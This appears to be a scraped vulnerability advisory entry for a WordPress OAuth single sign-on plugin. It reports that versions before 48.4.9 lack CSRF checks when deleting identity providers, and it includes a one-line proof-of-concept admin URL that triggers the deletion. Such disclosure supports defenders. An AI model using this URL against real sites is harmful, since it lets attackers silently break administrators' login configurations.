OAuth Single Sign On - SSO (OAuth Client) Enterprise < 48.4.9 - IdP Deletion via CSRF

2023-02-2800:00:00

Nguyen Thuc Tuyen

wpscan.com

oauth

single sign on

csrf

identity providers

attackers

plugin

EPSS

0.001

Percentile

47.5%

JSON

The plugin does not have CSRF checks when deleting Identity Providers (IdP), which could allow attackers to make logged in admins delete arbitrary IdP via a CSRF attack

PoC

https://example.com/wp-admin/admin.php?page=mo_oauth_settings&tab;=config&action;=delete&app;=wordpress

EPSS

0.001

Percentile

47.5%

JSON

Related for WPVDB-ID:F6E165D9-2193-4C76-AE2D-618A739FE4FB